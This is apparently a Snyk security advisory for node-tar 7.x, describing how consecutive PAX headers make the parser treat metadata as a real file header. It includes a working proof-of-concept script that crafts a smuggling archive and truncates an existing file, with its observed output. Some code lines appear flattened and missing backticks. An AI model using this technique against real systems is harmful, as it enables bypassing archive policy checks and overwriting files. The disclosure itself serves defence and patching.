Interpretation Conflict Affecting tar package, versions >=7.0.0 <8.0.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.33% (29th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-TAR-23314566
  • published2 Dec 2026
  • disclosed2 Dec 2026
  • creditYeaseen

Introduced: 2 Dec 2026

NewCVE-2026-140237  (opens in a new tab)
CWE-436  (opens in a new tab)

How to fix?

Upgrade tar to version 8.0.0 or higher.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Interpretation Conflict via ReadEntry.#slurp() in src/read-entry.ts, which copies pending PAX fields onto an entry without checking the entry type. When a tar archive contains consecutive PAX headers, the first PAX header sets a size=0 field that ReadEntry.#slurp() reapplies to the second PAX entry, producing an inconsistent state where entry.meta is true but entry.size is 0. The Parser then uses the overwritten size value to select its state machine branch, causing the next 512-byte block - which is the second PAX entry's metadata body - to be processed as a real tar header instead of being consumed as metadata. Both tar.list() and tar.extract() expose the smuggled entry, and extraction can create or truncate an existing file inside the configured extraction directory, bypassing archive member allowlists or policy checks applied by other tar implementations.

PoC

Create package.json:

{
  "private": true,
  "type": "module",
  "dependencies": {
    "tar": "7.5.22"
  }
}

Create poc.mjs:

import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { Header, extract, list } from 'tar'

const header = data => { const block = Buffer.alloc(512) new Header(data).encode(block) return block }

const paxRecord = (key, value) => { const payload = ${key}=${value}\n let length = Buffer.byteLength(payload) + 1 while (Buffer.byteLength(String(length)) + Buffer.byteLength(payload) !== length) { length = Buffer.byteLength(String(length)) + Buffer.byteLength(payload) } return Buffer.from(${length}${payload}) }

const firstBody = paxRecord('size', '0') const firstPadding = Buffer.alloc(512) firstBody.copy(firstPadding)

const archive = Buffer.concat([ header({ path: 'pax-1', type: 'ExtendedHeader', size: firstBody.length }), firstPadding, header({ path: 'pax-2', type: 'ExtendedHeader', size: 512 }), header({ path: 'hidden.txt', type: 'File', size: 0, mode: 0o644 }), Buffer.alloc(1024), ])

const file = path.resolve('poc.tar') const cwd = fs.mkdtempSync(path.join(os.tmpdir(), 'node-tar-poc-')) const victim = path.join(cwd, 'hidden.txt') fs.writeFileSync(file, archive) fs.writeFileSync(victim, 'TRUSTED CONTENT\n')

const entries = [] await list({ file, onReadEntry: entry => { entries.push(${entry.type}: ${entry.path}) entry.resume() }, })

console.log('listed:', entries) console.log('before:', JSON.stringify(fs.readFileSync(victim, 'utf8'))) await extract({ file, cwd }) console.log('after:', JSON.stringify(fs.readFileSync(victim, 'utf8')))

Run:

npm install
node poc.mjs

Observed with Node.js v24.5.0:

listed: [ 'File: hidden.txt' ]
before: "TRUSTED CONTENT\n"
after: ""

The same archive produces no member listing with GNU tar, is rejected as a damaged archive by libarchive/bsdtar, and is rejected as a non-tar archive by Python tarfile. Both asynchronous and synchronous node-tar extraction truncate hidden.txt.

The issue affects all tested 7.x releases (7.0.0 through 7.5.22) but did not reproduce in 6.2.1.

Note: The PoC states it was observed with Node.js v24.5.0 and tar 7.5.22.

CVSS Base Scores

version 4.0
version 3.1